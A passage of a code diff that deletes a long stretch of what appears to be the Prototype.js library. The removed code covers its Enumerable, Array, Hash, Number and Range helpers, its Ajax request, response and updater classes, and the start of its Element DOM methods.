-      match = pattern.exec(expr);
-      if (match == null) return before;
-
-      while (match != null) {
-        var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1];
-        ctx = ctx[comp];
-        if (null == ctx || '' == match[3]) break;
-        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
-        match = pattern.exec(expr);
-      }
-
-      return before + String.interpret(ctx);
-    });
-  }
-});
-Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
-
-var $break = { };
-
-var Enumerable = (function() {
-  function each(iterator, context) {
-    var index = 0;
-    try {
-      this._each(function(value) {
-        iterator.call(context, value, index++);
-      });
-    } catch (e) {
-      if (e != $break) throw e;
-    }
-    return this;
-  }
-
-  function eachSlice(number, iterator, context) {
-    var index = -number, slices = [], array = this.toArray();
-    if (number < 1) return array;
-    while ((index += number) < array.length)
-      slices.push(array.slice(index, index+number));
-    return slices.collect(iterator, context);
-  }
-
-  function all(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result = true;
-    this.each(function(value, index) {
-      result = result && !!iterator.call(context, value, index);
-      if (!result) throw $break;
-    });
-    return result;
-  }
-
-  function any(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result = false;
-    this.each(function(value, index) {
-      if (result = !!iterator.call(context, value, index))
-        throw $break;
-    });
-    return result;
-  }
-
-  function collect(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var results = [];
-    this.each(function(value, index) {
-      results.push(iterator.call(context, value, index));
-    });
-    return results;
-  }
-
-  function detect(iterator, context) {
-    var result;
-    this.each(function(value, index) {
-      if (iterator.call(context, value, index)) {
-        result = value;
-        throw $break;
-      }
-    });
-    return result;
-  }
-
-  function findAll(iterator, context) {
-    var results = [];
-    this.each(function(value, index) {
-      if (iterator.call(context, value, index))
-        results.push(value);
-    });
-    return results;
-  }
-
-  function grep(filter, iterator, context) {
-    iterator = iterator || Prototype.K;
-    var results = [];
-
-    if (Object.isString(filter))
-      filter = new RegExp(RegExp.escape(filter));
-
-    this.each(function(value, index) {
-      if (filter.match(value))
-        results.push(iterator.call(context, value, index));
-    });
-    return results;
-  }
-
-  function include(object) {
-    if (Object.isFunction(this.indexOf))
-      if (this.indexOf(object) != -1) return true;
-
-    var found = false;
-    this.each(function(value) {
-      if (value == object) {
-        found = true;
-        throw $break;
-      }
-    });
-    return found;
-  }
-
-  function inGroupsOf(number, fillWith) {
-    fillWith = Object.isUndefined(fillWith) ? null : fillWith;
-    return this.eachSlice(number, function(slice) {
-      while(slice.length < number) slice.push(fillWith);
-      return slice;
-    });
-  }
-
-  function inject(memo, iterator, context) {
-    this.each(function(value, index) {
-      memo = iterator.call(context, memo, value, index);
-    });
-    return memo;
-  }
-
-  function invoke(method) {
-    var args = $A(arguments).slice(1);
-    return this.map(function(value) {
-      return value[method].apply(value, args);
-    });
-  }
-
-  function max(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result;
-    this.each(function(value, index) {
-      value = iterator.call(context, value, index);
-      if (result == null || value >= result)
-        result = value;
-    });
-    return result;
-  }
-
-  function min(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var result;
-    this.each(function(value, index) {
-      value = iterator.call(context, value, index);
-      if (result == null || value < result)
-        result = value;
-    });
-    return result;
-  }
-
-  function partition(iterator, context) {
-    iterator = iterator || Prototype.K;
-    var trues = [], falses = [];
-    this.each(function(value, index) {
-      (iterator.call(context, value, index) ?
-        trues : falses).push(value);
-    });
-    return [trues, falses];
-  }
-
-  function pluck(property) {
-    var results = [];
-    this.each(function(value) {
-      results.push(value[property]);
-    });
-    return results;
-  }
-
-  function reject(iterator, context) {
-    var results = [];
-    this.each(function(value, index) {
-      if (!iterator.call(context, value, index))
-        results.push(value);
-    });
-    return results;
-  }
-
-  function sortBy(iterator, context) {
-    return this.map(function(value, index) {
-      return {
-        value: value,
-        criteria: iterator.call(context, value, index)
-      };
-    }).sort(function(left, right) {
-      var a = left.criteria, b = right.criteria;
-      return a < b ? -1 : a > b ? 1 : 0;
-    }).pluck('value');
-  }
-
-  function toArray() {
-    return this.map();
-  }
-
-  function zip() {
-    var iterator = Prototype.K, args = $A(arguments);
-    if (Object.isFunction(args.last()))
-      iterator = args.pop();
-
-    var collections = [this].concat(args).map($A);
-    return this.map(function(value, index) {
-      return iterator(collections.pluck(index));
-    });
-  }
-
-  function size() {
-    return this.toArray().length;
-  }
-
-  function inspect() {
-    return '#<Enumerable:' + this.toArray().inspect() + '>';
-  }
-
-
-
-
-
-
-
-
-
-  return {
-    each:       each,
-    eachSlice:  eachSlice,
-    all:        all,
-    every:      all,
-    any:        any,
-    some:       any,
-    collect:    collect,
-    map:        collect,
-    detect:     detect,
-    findAll:    findAll,
-    select:     findAll,
-    filter:     findAll,
-    grep:       grep,
-    include:    include,
-    member:     include,
-    inGroupsOf: inGroupsOf,
-    inject:     inject,
-    invoke:     invoke,
-    max:        max,
-    min:        min,
-    partition:  partition,
-    pluck:      pluck,
-    reject:     reject,
-    sortBy:     sortBy,
-    toArray:    toArray,
-    entries:    toArray,
-    zip:        zip,
-    size:       size,
-    inspect:    inspect,
-    find:       detect
-  };
-})();
-function $A(iterable) {
-  if (!iterable) return [];
-  if ('toArray' in Object(iterable)) return iterable.toArray();
-  var length = iterable.length || 0, results = new Array(length);
-  while (length--) results[length] = iterable[length];
-  return results;
-}
-
-function $w(string) {
-  if (!Object.isString(string)) return [];
-  string = string.strip();
-  return string ? string.split(/\s+/) : [];
-}
-
-Array.from = $A;
-
-
-(function() {
-  var arrayProto = Array.prototype,
-      slice = arrayProto.slice,
-      _each = arrayProto.forEach; // use native browser JS 1.6 implementation if available
-
-  function each(iterator) {
-    for (var i = 0, length = this.length; i < length; i++)
-      iterator(this[i]);
-  }
-  if (!_each) _each = each;
-
-  function clear() {
-    this.length = 0;
-    return this;
-  }
-
-  function first() {
-    return this[0];
-  }
-
-  function last() {
-    return this[this.length - 1];
-  }
-
-  function compact() {
-    return this.select(function(value) {
-      return value != null;
-    });
-  }
-
-  function flatten() {
-    return this.inject([], function(array, value) {
-      if (Object.isArray(value))
-        return array.concat(value.flatten());
-      array.push(value);
-      return array;
-    });
-  }
-
-  function without() {
-    var values = slice.call(arguments, 0);
-    return this.select(function(value) {
-      return !values.include(value);
-    });
-  }
-
-  function reverse(inline) {
-    return (inline !== false ? this : this.toArray())._reverse();
-  }
-
-  function uniq(sorted) {
-    return this.inject([], function(array, value, index) {
-      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
-        array.push(value);
-      return array;
-    });
-  }
-
-  function intersect(array) {
-    return this.uniq().findAll(function(item) {
-      return array.detect(function(value) { return item === value });
-    });
-  }
-
-
-  function clone() {
-    return slice.call(this, 0);
-  }
-
-  function size() {
-    return this.length;
-  }
-
-  function inspect() {
-    return '[' + this.map(Object.inspect).join(', ') + ']';
-  }
-
-  function toJSON() {
-    var results = [];
-    this.each(function(object) {
-      var value = Object.toJSON(object);
-      if (!Object.isUndefined(value)) results.push(value);
-    });
-    return '[' + results.join(', ') + ']';
-  }
-
-  function indexOf(item, i) {
-    i || (i = 0);
-    var length = this.length;
-    if (i < 0) i = length + i;
-    for (; i < length; i++)
-      if (this[i] === item) return i;
-    return -1;
-  }
-
-  function lastIndexOf(item, i) {
-    i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
-    var n = this.slice(0, i).reverse().indexOf(item);
-    return (n < 0) ? n : i - n - 1;
-  }
-
-  function concat() {
-    var array = slice.call(this, 0), item;
-    for (var i = 0, length = arguments.length; i < length; i++) {
-      item = arguments[i];
-      if (Object.isArray(item) && !('callee' in item)) {
-        for (var j = 0, arrayLength = item.length; j < arrayLength; j++)
-          array.push(item[j]);
-      } else {
-        array.push(item);
-      }
-    }
-    return array;
-  }
-
-  Object.extend(arrayProto, Enumerable);
-
-  if (!arrayProto._reverse)
-    arrayProto._reverse = arrayProto.reverse;
-
-  Object.extend(arrayProto, {
-    _each:     _each,
-    clear:     clear,
-    first:     first,
-    last:      last,
-    compact:   compact,
-    flatten:   flatten,
-    without:   without,
-    reverse:   reverse,
-    uniq:      uniq,
-    intersect: intersect,
-    clone:     clone,
-    toArray:   clone,
-    size:      size,
-    inspect:   inspect,
-    toJSON:    toJSON
-  });
-
-  var CONCAT_ARGUMENTS_BUGGY = (function() {
-    return [].concat(arguments)[0][0] !== 1;
-  })(1,2)
-
-  if (CONCAT_ARGUMENTS_BUGGY) arrayProto.concat = concat;
-
-  if (!arrayProto.indexOf) arrayProto.indexOf = indexOf;
-  if (!arrayProto.lastIndexOf) arrayProto.lastIndexOf = lastIndexOf;
-})();
-function $H(object) {
-  return new Hash(object);
-};
-
-var Hash = Class.create(Enumerable, (function() {
-  function initialize(object) {
-    this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
-  }
-
-  function _each(iterator) {
-    for (var key in this._object) {
-      var value = this._object[key], pair = [key, value];
-      pair.key = key;
-      pair.value = value;
-      iterator(pair);
-    }
-  }
-
-  function set(key, value) {
-    return this._object[key] = value;
-  }
-
-  function get(key) {
-    if (this._object[key] !== Object.prototype[key])
-      return this._object[key];
-  }
-
-  function unset(key) {
-    var value = this._object[key];
-    delete this._object[key];
-    return value;
-  }
-
-  function toObject() {
-    return Object.clone(this._object);
-  }
-
-  function keys() {
-    return this.pluck('key');
-  }
-
-  function values() {
-    return this.pluck('value');
-  }
-
-  function index(value) {
-    var match = this.detect(function(pair) {
-      return pair.value === value;
-    });
-    return match && match.key;
-  }
-
-  function merge(object) {
-    return this.clone().update(object);
-  }
-
-  function update(object) {
-    return new Hash(object).inject(this, function(result, pair) {
-      result.set(pair.key, pair.value);
-      return result;
-    });
-  }
-
-  function toQueryPair(key, value) {
-    if (Object.isUndefined(value)) return key;
-    return key + '=' + encodeURIComponent(String.interpret(value));
-  }
-
-  function toQueryString() {
-    return this.inject([], function(results, pair) {
-      var key = encodeURIComponent(pair.key), values = pair.value;
-
-      if (values && typeof values == 'object') {
-        if (Object.isArray(values))
-          return results.concat(values.map(toQueryPair.curry(key)));
-      } else results.push(toQueryPair(key, values));
-      return results;
-    }).join('&');
-  }
-
-  function inspect() {
-    return '#<Hash:{' + this.map(function(pair) {
-      return pair.map(Object.inspect).join(': ');
-    }).join(', ') + '}>';
-  }
-
-  function toJSON() {
-    return Object.toJSON(this.toObject());
-  }
-
-  function clone() {
-    return new Hash(this);
-  }
-
-  return {
-    initialize:             initialize,
-    _each:                  _each,
-    set:                    set,
-    get:                    get,
-    unset:                  unset,
-    toObject:               toObject,
-    toTemplateReplacements: toObject,
-    keys:                   keys,
-    values:                 values,
-    index:                  index,
-    merge:                  merge,
-    update:                 update,
-    toQueryString:          toQueryString,
-    inspect:                inspect,
-    toJSON:                 toJSON,
-    clone:                  clone
-  };
-})());
-
-Hash.from = $H;
-Object.extend(Number.prototype, (function() {
-  function toColorPart() {
-    return this.toPaddedString(2, 16);
-  }
-
-  function succ() {
-    return this + 1;
-  }
-
-  function times(iterator, context) {
-    $R(0, this, true).each(iterator, context);
-    return this;
-  }
-
-  function toPaddedString(length, radix) {
-    var string = this.toString(radix || 10);
-    return '0'.times(length - string.length) + string;
-  }
-
-  function toJSON() {
-    return isFinite(this) ? this.toString() : 'null';
-  }
-
-  function abs() {
-    return Math.abs(this);
-  }
-
-  function round() {
-    return Math.round(this);
-  }
-
-  function ceil() {
-    return Math.ceil(this);
-  }
-
-  function floor() {
-    return Math.floor(this);
-  }
-
-  return {
-    toColorPart:    toColorPart,
-    succ:           succ,
-    times:          times,
-    toPaddedString: toPaddedString,
-    toJSON:         toJSON,
-    abs:            abs,
-    round:          round,
-    ceil:           ceil,
-    floor:          floor
-  };
-})());
-
-function $R(start, end, exclusive) {
-  return new ObjectRange(start, end, exclusive);
-}
-
-var ObjectRange = Class.create(Enumerable, (function() {
-  function initialize(start, end, exclusive) {
-    this.start = start;
-    this.end = end;
-    this.exclusive = exclusive;
-  }
-
-  function _each(iterator) {
-    var value = this.start;
-    while (this.include(value)) {
-      iterator(value);
-      value = value.succ();
-    }
-  }
-
-  function include(value) {
-    if (value < this.start)
-      return false;
-    if (this.exclusive)
-      return value < this.end;
-    return value <= this.end;
-  }
-
-  return {
-    initialize: initialize,
-    _each:      _each,
-    include:    include
-  };
-})());
-
-
-
-var Ajax = {
-  getTransport: function() {
-    return Try.these(
-      function() {return new XMLHttpRequest()},
-      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
-      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
-    ) || false;
-  },
-
-  activeRequestCount: 0
-};
-
-Ajax.Responders = {
-  responders: [],
-
-  _each: function(iterator) {
-    this.responders._each(iterator);
-  },
-
-  register: function(responder) {
-    if (!this.include(responder))
-      this.responders.push(responder);
-  },
-
-  unregister: function(responder) {
-    this.responders = this.responders.without(responder);
-  },
-
-  dispatch: function(callback, request, transport, json) {
-    this.each(function(responder) {
-      if (Object.isFunction(responder[callback])) {
-        try {
-          responder[callback].apply(responder, [request, transport, json]);
-        } catch (e) { }
-      }
-    });
-  }
-};
-
-Object.extend(Ajax.Responders, Enumerable);
-
-Ajax.Responders.register({
-  onCreate:   function() { Ajax.activeRequestCount++ },
-  onComplete: function() { Ajax.activeRequestCount-- }
-});
-Ajax.Base = Class.create({
-  initialize: function(options) {
-    this.options = {
-      method:       'post',
-      asynchronous: true,
-      contentType:  'application/x-www-form-urlencoded',
-      encoding:     'UTF-8',
-      parameters:   '',
-      evalJSON:     true,
-      evalJS:       true
-    };
-    Object.extend(this.options, options || { });
-
-    this.options.method = this.options.method.toLowerCase();
-
-    if (Object.isString(this.options.parameters))
-      this.options.parameters = this.options.parameters.toQueryParams();
-    else if (Object.isHash(this.options.parameters))
-      this.options.parameters = this.options.parameters.toObject();
-  }
-});
-Ajax.Request = Class.create(Ajax.Base, {
-  _complete: false,
-
-  initialize: function($super, url, options) {
-    $super(options);
-    this.transport = Ajax.getTransport();
-    this.request(url);
-  },
-
-  request: function(url) {
-    this.url = url;
-    this.method = this.options.method;
-    var params = Object.clone(this.options.parameters);
-
-    if (!['get', 'post'].include(this.method)) {
-      params['_method'] = this.method;
-      this.method = 'post';
-    }
-
-    this.parameters = params;
-
-    if (params = Object.toQueryString(params)) {
-      if (this.method == 'get')
-        this.url += (this.url.include('?') ? '&' : '?') + params;
-      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
-        params += '&_=';
-    }
-
-    try {
-      var response = new Ajax.Response(this);
-      if (this.options.onCreate) this.options.onCreate(response);
-      Ajax.Responders.dispatch('onCreate', this, response);
-
-      this.transport.open(this.method.toUpperCase(), this.url,
-        this.options.asynchronous);
-
-      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
-
-      this.transport.onreadystatechange = this.onStateChange.bind(this);
-      this.setRequestHeaders();
-
-      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
-      this.transport.send(this.body);
-
-      /* Force Firefox to handle ready state 4 for synchronous requests */
-      if (!this.options.asynchronous && this.transport.overrideMimeType)
-        this.onStateChange();
-
-    }
-    catch (e) {
-      this.dispatchException(e);
-    }
-  },
-
-  onStateChange: function() {
-    var readyState = this.transport.readyState;
-    if (readyState > 1 && !((readyState == 4) && this._complete))
-      this.respondToReadyState(this.transport.readyState);
-  },
-
-  setRequestHeaders: function() {
-    var headers = {
-      'X-Requested-With': 'XMLHttpRequest',
-      'X-Prototype-Version': Prototype.Version,
-      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
-    };
-
-    if (this.method == 'post') {
-      headers['Content-type'] = this.options.contentType +
-        (this.options.encoding ? '; charset=' + this.options.encoding : '');
-
-      /* Force "Connection: close" for older Mozilla browsers to work
-       * around a bug where XMLHttpRequest sends an incorrect
-       * Content-length header. See Mozilla Bugzilla #246651.
-       */
-      if (this.transport.overrideMimeType &&
-          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
-            headers['Connection'] = 'close';
-    }
-
-    if (typeof this.options.requestHeaders == 'object') {
-      var extras = this.options.requestHeaders;
-
-      if (Object.isFunction(extras.push))
-        for (var i = 0, length = extras.length; i < length; i += 2)
-          headers[extras[i]] = extras[i+1];
-      else
-        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
-    }
-
-    for (var name in headers)
-      this.transport.setRequestHeader(name, headers[name]);
-  },
-
-  success: function() {
-    var status = this.getStatus();
-    return !status || (status >= 200 && status < 300);
-  },
-
-  getStatus: function() {
-    try {
-      return this.transport.status || 0;
-    } catch (e) { return 0 }
-  },
-
-  respondToReadyState: function(readyState) {
-    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
-
-    if (state == 'Complete') {
-      try {
-        this._complete = true;
-        (this.options['on' + response.status]
-         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
-         || Prototype.emptyFunction)(response, response.headerJSON);
-      } catch (e) {
-        this.dispatchException(e);
-      }
-
-      var contentType = response.getHeader('Content-type');
-      if (this.options.evalJS == 'force'
-          || (this.options.evalJS && this.isSameOrigin() && contentType
-          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
-        this.evalResponse();
-    }
-
-    try {
-      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
-      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
-    } catch (e) {
-      this.dispatchException(e);
-    }
-
-    if (state == 'Complete') {
-      this.transport.onreadystatechange = Prototype.emptyFunction;
-    }
-  },
-
-  isSameOrigin: function() {
-    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
-    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
-      protocol: location.protocol,
-      domain: document.domain,
-      port: location.port ? ':' + location.port : ''
-    }));
-  },
-
-  getHeader: function(name) {
-    try {
-      return this.transport.getResponseHeader(name) || null;
-    } catch (e) { return null; }
-  },
-
-  evalResponse: function() {
-    try {
-      return eval((this.transport.responseText || '').unfilterJSON());
-    } catch (e) {
-      this.dispatchException(e);
-    }
-  },
-
-  dispatchException: function(exception) {
-    (this.options.onException || Prototype.emptyFunction)(this, exception);
-    Ajax.Responders.dispatch('onException', this, exception);
-  }
-});
-
-Ajax.Request.Events =
-  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
-
-
-
-
-
-
-
-
-Ajax.Response = Class.create({
-  initialize: function(request){
-    this.request = request;
-    var transport  = this.transport  = request.transport,
-        readyState = this.readyState = transport.readyState;
-
-    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
-      this.status       = this.getStatus();
-      this.statusText   = this.getStatusText();
-      this.responseText = String.interpret(transport.responseText);
-      this.headerJSON   = this._getHeaderJSON();
-    }
-
-    if(readyState == 4) {
-      var xml = transport.responseXML;
-      this.responseXML  = Object.isUndefined(xml) ? null : xml;
-      this.responseJSON = this._getResponseJSON();
-    }
-  },
-
-  status:      0,
-
-  statusText: '',
-
-  getStatus: Ajax.Request.prototype.getStatus,
-
-  getStatusText: function() {
-    try {
-      return this.transport.statusText || '';
-    } catch (e) { return '' }
-  },
-
-  getHeader: Ajax.Request.prototype.getHeader,
-
-  getAllHeaders: function() {
-    try {
-      return this.getAllResponseHeaders();
-    } catch (e) { return null }
-  },
-
-  getResponseHeader: function(name) {
-    return this.transport.getResponseHeader(name);
-  },
-
-  getAllResponseHeaders: function() {
-    return this.transport.getAllResponseHeaders();
-  },
-
-  _getHeaderJSON: function() {
-    var json = this.getHeader('X-JSON');
-    if (!json) return null;
-    json = decodeURIComponent(escape(json));
-    try {
-      return json.evalJSON(this.request.options.sanitizeJSON ||
-        !this.request.isSameOrigin());
-    } catch (e) {
-      this.request.dispatchException(e);
-    }
-  },
-
-  _getResponseJSON: function() {
-    var options = this.request.options;
-    if (!options.evalJSON || (options.evalJSON != 'force' &&
-      !(this.getHeader('Content-type') || '').include('application/json')) ||
-        this.responseText.blank())
-          return null;
-    try {
-      return this.responseText.evalJSON(options.sanitizeJSON ||
-        !this.request.isSameOrigin());
-    } catch (e) {
-      this.request.dispatchException(e);
-    }
-  }
-});
-
-Ajax.Updater = Class.create(Ajax.Request, {
-  initialize: function($super, container, url, options) {
-    this.container = {
-      success: (container.success || container),
-      failure: (container.failure || (container.success ? null : container))
-    };
-
-    options = Object.clone(options);
-    var onComplete = options.onComplete;
-    options.onComplete = (function(response, json) {
-      this.updateContent(response.responseText);
-      if (Object.isFunction(onComplete)) onComplete(response, json);
-    }).bind(this);
-
-    $super(url, options);
-  },
-
-  updateContent: function(responseText) {
-    var receiver = this.container[this.success() ? 'success' : 'failure'],
-        options = this.options;
-
-    if (!options.evalScripts) responseText = responseText.stripScripts();
-
-    if (receiver = $(receiver)) {
-      if (options.insertion) {
-        if (Object.isString(options.insertion)) {
-          var insertion = { }; insertion[options.insertion] = responseText;
-          receiver.insert(insertion);
-        }
-        else options.insertion(receiver, responseText);
-      }
-      else receiver.update(responseText);
-    }
-  }
-});
-
-Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
-  initialize: function($super, container, url, options) {
-    $super(options);
-    this.onComplete = this.options.onComplete;
-
-    this.frequency = (this.options.frequency || 2);
-    this.decay = (this.options.decay || 1);
-
-    this.updater = { };
-    this.container = container;
-    this.url = url;
-
-    this.start();
-  },
-
-  start: function() {
-    this.options.onComplete = this.updateComplete.bind(this);
-    this.onTimerEvent();
-  },
-
-  stop: function() {
-    this.updater.options.onComplete = undefined;
-    clearTimeout(this.timer);
-    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
-  },
-
-  updateComplete: function(response) {
-    if (this.options.decay) {
-      this.decay = (response.responseText == this.lastText ?
-        this.decay * this.options.decay : 1);
-
-      this.lastText = response.responseText;
-    }
-    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
-  },
-
-  onTimerEvent: function() {
-    this.updater = new Ajax.Updater(this.container, this.url, this.options);
-  }
-});
-
-
-
-function $(element) {
-  if (arguments.length > 1) {
-    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
-      elements.push($(arguments[i]));
-    return elements;
-  }
-  if (Object.isString(element))
-    element = document.getElementById(element);
-  return Element.extend(element);
-}
-
-if (Prototype.BrowserFeatures.XPath) {
-  document._getElementsByXPath = function(expression, parentElement) {
-    var results = [];
-    var query = document.evaluate(expression, $(parentElement) || document,
-      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-    for (var i = 0, length = query.snapshotLength; i < length; i++)
-      results.push(Element.extend(query.snapshotItem(i)));
-    return results;
-  };
-}
-
-/*--------------------------------------------------------------------------*/
-
-if (!window.Node) var Node = { };
-
-if (!Node.ELEMENT_NODE) {
-  Object.extend(Node, {
-    ELEMENT_NODE: 1,
-    ATTRIBUTE_NODE: 2,
-    TEXT_NODE: 3,
-    CDATA_SECTION_NODE: 4,
-    ENTITY_REFERENCE_NODE: 5,
-    ENTITY_NODE: 6,
-    PROCESSING_INSTRUCTION_NODE: 7,
-    COMMENT_NODE: 8,
-    DOCUMENT_NODE: 9,
-    DOCUMENT_TYPE_NODE: 10,
-    DOCUMENT_FRAGMENT_NODE: 11,
-    NOTATION_NODE: 12
-  });
-}
-
-
-(function(global) {
-
-  var SETATTRIBUTE_IGNORES_NAME = (function(){
-    var elForm = document.createElement("form");
-    var elInput = document.createElement("input");
-    var root = document.documentElement;
-    elInput.setAttribute("name", "test");
-    elForm.appendChild(elInput);
-    root.appendChild(elForm);
-    var isBuggy = elForm.elements
-      ? (typeof elForm.elements.test == "undefined")
-      : null;
-    root.removeChild(elForm);
-    elForm = elInput = null;
-    return isBuggy;
-  })();
-
-  var element = global.Element;
-  global.Element = function(tagName, attributes) {
-    attributes = attributes || { };
-    tagName = tagName.toLowerCase();
-    var cache = Element.cache;
-    if (SETATTRIBUTE_IGNORES_NAME && attributes.name) {
-      tagName = '<' + tagName + ' name="' + attributes.name + '">';
-      delete attributes.name;
-      return Element.writeAttribute(document.createElement(tagName), attributes);
-    }
-    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
-    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
-  };
-  Object.extend(global.Element, element || { });
-  if (element) global.Element.prototype = element.prototype;
-})(this);
-
-Element.cache = { };
-Element.idCounter = 1;
-
-Element.Methods = {
-  visible: function(element) {
-    return $(element).style.display != 'none';
-  },
-
-  toggle: function(element) {
-    element = $(element);
-    Element[Element.visible(element) ? 'hide' : 'show'](element);
-    return element;
-  },
-
-
-  hide: function(element) {
-    element = $(element);
-    element.style.display = 'none';
-    return element;
-  },
-
-  show: function(element) {
-    element = $(element);
-    element.style.display = '';
-    return element;
-  },
-
-  remove: function(element) {
-    element = $(element);
-    element.parentNode.removeChild(element);
-    return element;
-  },
-
-  update: (function(){
-
-    var SELECT_ELEMENT_INNERHTML_BUGGY = (function(){
-      var el = document.createElement("select"),
-          isBuggy = true;
-      el.innerHTML = "<option value=\"test\">test</option>";
-      if (el.options && el.options[0]) {
-        isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
-      }
-      el = null;
-      return isBuggy;
-    })();
-
-    var TABLE_ELEMENT_INNERHTML_BUGGY = (function(){
-      try {
-        var el = document.createElement("table");
-        if (el && el.tBodies) {
-          el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
-          var isBuggy = typeof el.tBodies[0] == "undefined";
-          el = null;
-          return isBuggy;
-        }
-      } catch (e) {
-        return true;
-      }
-    })();
-
-    var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function () {
-      var s = document.createElement("script"),
-          isBuggy = false;
-      try {
-        s.appendChild(document.createTextNode(""));
-        isBuggy = !s.firstChild ||
-          s.firstChild && s.firstChild.nodeType !== 3;
-      } catch (e) {
-        isBuggy = true;
-      }
-      s = null;
-      return isBuggy;
-    })();
-
-    function update(element, content) {
-      element = $(element);
-
-      if (content && content.toElement)
-        content = content.toElement();
-
-      if (Object.isElement(content))
-        return element.update().insert(content);
-
-      content = Object.toHTML(content);
-
-      var tagName = element.tagName.toUpperCase();
-
-      if (tagName === 'SCRIPT' && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
-        element.text = content;
-        return element;
-      }
-
-      if (SELECT_ELEMENT_INNERHTML_BUGGY || TABLE_ELEMENT_INNERHTML_BUGGY) {
-        if (tagName in Element._insertionTranslations.tags) {
-          while (element.firstChild) {
-            element.removeChild(element.firstChild);
-          }
-          Element._getContentFromAnonymousElement(tagName, content.stripScripts())
-            .each(function(node) {
-              element.appendChild(node)
-            });
-        }
-        else {
-          element.innerHTML = content.stripScripts();
-        }
-      }
-      else {
-        element.innerHTML = content.stripScripts();
-      }
-
-      content.evalScripts.bind(content).defer();
-      return element;
-    }
-
-    return update;
-  })(),
-
-  replace: function(element, content) {
-    element = $(element);
-    if (content && content.toElement) content = content.toElement();
-    else if (!Object.isElement(content)) {
-      content = Object.toHTML(content);
-      var range = element.ownerDocument.createRange();
-      range.selectNode(element);
-      content.evalScripts.bind(content).defer();
-      content = range.createContextualFragment(content.stripScripts());
-    }
-    element.parentNode.replaceChild(content, element);
-    return element;
-  },
-
-  insert: function(element, insertions) {
-    element = $(element);
-
-    if (Object.isString(insertions) || Object.isNumber(insertions) ||
-        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
-          insertions = {bottom:insertions};
-
-    var content, insert, tagName, childNodes;
-
-    for (var position in insertions) {
-      content  = insertions[position];
-      position = position.toLowerCase();
-      insert = Element._insertionTranslations[position];
-
-      if (content && content.toElement) content = content.toElement();
-      if (Object.isElement(content)) {
-        insert(element, content);
-        continue;
-      }
-
-      content = Object.toHTML(content);
-
-      tagName = ((position == 'before' || position == 'after')
-        ? element.parentNode : element).tagName.toUpperCase();
-
-      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
-
-      if (position == 'top' || position == 'after') childNodes.reverse();
-      childNodes.each(insert.curry(element));
-
-      content.evalScripts.bind(content).defer();
-    }
-
-    return element;
-  },
-
-  wrap: function(element, wrapper, attributes) {
-    element = $(element);
-    if (Object.isElement(wrapper))
-      $(wrapper).writeAttribute(attributes || { });
-    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
-    else wrapper = new Element('div', wrapper);
-    if (element.parentNode)
-      element.parentNode.replaceChild(wrapper, element);
-    wrapper.appendChild(element);
-    return wrapper;
-  },
-
-  inspect: function(element) {
-    element = $(element);
-    var result = '<' + element.tagName.toLowerCase();
-    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
-      var property = pair.first(), attribute = pair.last();
-      var value = (element[property] || '').toString();
-      if (value) result += ' ' + attribute + '=' + value.inspect(true);
-    });
-    return result + '>';
-  },
-
-  recursivelyCollect: function(element, property) {
-    element = $(element);
-    var elements = [];
-    while (element = element[property])
-      if (element.nodeType == 1)
-        elements.push(Element.extend(element));
-    return elements;
-  },
-
-  ancestors: function(element) {
-    return Element.recursivelyCollect(element, 'parentNode');
-  },
-
-  descendants: function(element) {
-    return Element.select(element, "*");
-  },
-
-  firstDescendant: function(element) {
-    element = $(element).firstChild;
-    while (element && element.nodeType != 1) element = element.nextSibling;
-    return $(element);
-  },
-
-  immediateDescendants: function(element) {
-    if (!(element = $(element).firstChild)) return [];
-    while (element && element.nodeType != 1) element = element.nextSibling;
-    if (element) return [element].concat($(element).nextSiblings());
-    return [];
-  },
-
-  previousSiblings: function(element) {
-    return Element.recursivelyCollect(element, 'previousSibling');
-  },
-
-  nextSiblings: function(element) {
-    return Element.recursivelyCollect(element, 'nextSibling');
-  },
-
-  siblings: function(element) {
-    element = $(element);
-    return Element.previousSiblings(element).reverse()
-      .concat(Element.nextSiblings(element));
-  },
-
-  match: function(element, selector) {
-    if (Object.isString(selector))
-      selector = new Selector(selector);
-    return selector.match($(element));
